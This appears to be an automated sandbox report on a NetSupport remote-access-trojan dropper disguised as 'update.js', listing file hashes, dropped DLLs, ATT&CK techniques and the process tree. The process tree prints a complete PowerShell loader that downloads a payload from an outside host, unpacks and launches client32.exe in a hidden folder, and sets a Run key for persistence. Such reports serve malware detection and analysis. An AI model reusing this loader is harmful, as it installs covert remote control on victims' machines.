netsupport | d348470cf75617462f4f3bec5a79dfb93b77384445b6eceff4f8efd8d746c57d

Analysis

max time kernel
621s
max time network
1194s
platform
windows11-21h2_x64
resource
win11-20231215-en
resource tags

arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
submitted
22/01/2024, 16:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

update.js
Size

217KB
MD5

359d56262402a67447c1280e9235884d
SHA1

816a688338356da0902b5e265828d1346d9b657f
SHA256

d348470cf75617462f4f3bec5a79dfb93b77384445b6eceff4f8efd8d746c57d
SHA512

797338892e757216ac8679e7d74c9ece54df6609a655c925275ec36fc515c8e7c83ecf5417b824a848cf60eaf9cc8dc1e84880e1dcc1dd4f27f7624ccebd04d1
SSDEEP

6144:mRvCRvCRvTvRv2RvCRvCRvCRvCRv6RvCRvCRvG:mYY9vsYYYYAYYk

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://phinetik.com/data.php?14289

exe.dropper

https://phinetik.com/data.php?14289

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3952	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2392	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
2392	client32.exe
2392	client32.exe
2392	client32.exe
2392	client32.exe
2392	client32.exe
2392	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1725696949-2443092314-1471438111-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX654\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3952	powershell.exe
3952	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeSecurityPrivilege	2392	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2392	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 3952	2216	wscript.exe	77
PID 2216 wrote to memory of 3952	2216	wscript.exe	77
PID 3952 wrote to memory of 2392	3952	powershell.exe	78
PID 3952 wrote to memory of 2392	3952	powershell.exe	78
PID 3952 wrote to memory of 2392	3952	powershell.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $xwZvPiFRcDQ='https://phinetik.com/data.php?14289';$HdVQHaiXiR=(New-Object System.Net.WebClient).DownloadString($xwZvPiFRcDQ);$flNIePHzKaJyei=[System.Convert]::FromBase64String($HdVQHaiXiR);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $TYMTqBoluDZPhUpGnD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $TYMTqBoluDZPhUpGnD -PathType Container)) { New-Item -Path $TYMTqBoluDZPhUpGnD -ItemType Directory };$p=Join-Path $TYMTqBoluDZPhUpGnD 'lol.zip';[System.IO.File]::WriteAllBytes($p,$flNIePHzKaJyei);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$TYMTqBoluDZPhUpGnD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $TYMTqBoluDZPhUpGnD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $TYMTqBoluDZPhUpGnD -Force; $FSDFSSD.attributes='Hidden';$s=$TYMTqBoluDZPhUpGnD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Users\Admin\AppData\Roaming\DIVX654\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX654\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dnx21bxc.pcr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\HTCTL32.DLL

Filesize
217KB

MD5
ea9e45800308346a3f22cfad8539cb83

SHA1
e70d74595c9e2f4adf3b1603a6e7eb4993f1588d

SHA256
f72bdea8a953bd70edf56d97c35075db233da0e54c21fb58cfba78f97cdb9314

SHA512
76352070d3c242d6350e5ee1407c4a1de185193055196fd4b00ccf9a327b8662aaa93a3b1e37793c455fb16db4a9a586e32a76571ed05f74e2a8c0dd183976f2

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\MSVCR100.dll

Filesize
365KB

MD5
900a2a30aa463a4ac934325d8db31006

SHA1
c9d1f97e11f32114030f37cdf50b47e84de3ea8d

SHA256
996c75c2bb19d96068b9234ebbf5f853bd27057c9a1cf733db00366e23ff3044

SHA512
5f630e82ea9e69d417eedf75f3f692475dba57632aa7b45fbfda4fa2392785c24f575fc8ac4a28fe53ddd507caf58722e43fa0595fb74a54c62f18143c6b972a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\PCICL32.DLL

Filesize
408KB

MD5
cc42c93183581f270c7e44d6f8b5abe6

SHA1
569d313c5859d279439b8d26cd26eef5f4d37f3a

SHA256
abff042d908ee77ac09e54bea299d1526ea2d0850af0219e5966a4fa5834a795

SHA512
006f0552cdebe67a95fef7e894927999b78e5f183ce3faa0b098cd535756297c6f7743a22de3d47014ecb8a3dd1501d569035badd7aed2658a51bb5ad18a0d02

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\PCICL32.dll

Filesize
1.0MB

MD5
b68d235951e2a32350ff48409262b6bb

SHA1
9d58aac557b6f2e75f4f8bb55c811a19f3e4ee16

SHA256
152ab3f97173b689e759790c654de0422b5e9bd9b6b9abfc3bc87a01c9a9399f

SHA512
7eb7f42badef64777a21a1ccf9f8667a42b2efcd18244618ee4aeae280eba15ad4ceaa7ac0226f8732b02910bd9fd442cfa215319a23fe50f68c7c3672928843

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\client32.ini

Filesize
670B

MD5
8073e7835497db0541f6728adee45f0b

SHA1
3df6978d8b8ee68dffb6c3021d96e41909a50c31

SHA256
f5f34f4a4535f9a3c807f37864e82025f910239ec4a6c6db54e2b3827e71725e

SHA512
6ef953c768ae61d3a3161816bbee64dba7f3c7f102ababd4c1113363cbb10d2e68777e8cfdf5706494bc950635844eed926f8b0dfa9c50b9a513fb0f2ea1e8d9

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\msvcr100.dll

Filesize
303KB

MD5
8abeec20a1dd926190b09bdaf830e1de

SHA1
823d4c90cae2c1e1f069ac5c01c07a17a811c000

SHA256
2a178309834f2bae6485f5326397b8e77609f21382ea269328bb8f810d4550f7

SHA512
c9afb5abe428998a6534adbc146fe8329cf2d477a1536a9af1ca09a39a330c27c4eb9c53e7a234d0688de0ec23603ccccf821bb00286831d8af57d2a2ad81833

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\msvcr100.dll

Filesize
315KB

MD5
12567fa257e9de9bd37d39373d835889

SHA1
956a88ba3bfef4c96f65ae1b891837e3fd50e0a5

SHA256
6b4beef41786725182925f6a80543b41f972ded81ff106faad9b5d98c538363e

SHA512
6e1a5aa2db87cd5d685f8343fc33530adf5d649592e604e921d61017ad867ce5292e9c83acf7f63d7c87a4f72aa9d2d8e6b5eb44ef9221b4dde8944a4e55915f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX654\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
memory/3952-13-0x00000218A6470000-0x00000218A647A000-memory.dmp

Filesize
40KB

Download
memory/3952-14-0x00000218A68B0000-0x00000218A68C2000-memory.dmp

Filesize
72KB

Download
memory/3952-87-0x00007FFD651F0000-0x00007FFD65CB2000-memory.dmp

Filesize
10.8MB

Download
memory/3952-8-0x00000218A6400000-0x00000218A6422000-memory.dmp

Filesize
136KB

Download
memory/3952-11-0x00000218A64A0000-0x00000218A64B0000-memory.dmp

Filesize
64KB

Download
memory/3952-10-0x00000218A64A0000-0x00000218A64B0000-memory.dmp

Filesize
64KB

Download
memory/3952-9-0x00007FFD651F0000-0x00007FFD65CB2000-memory.dmp

Filesize
10.8MB

Download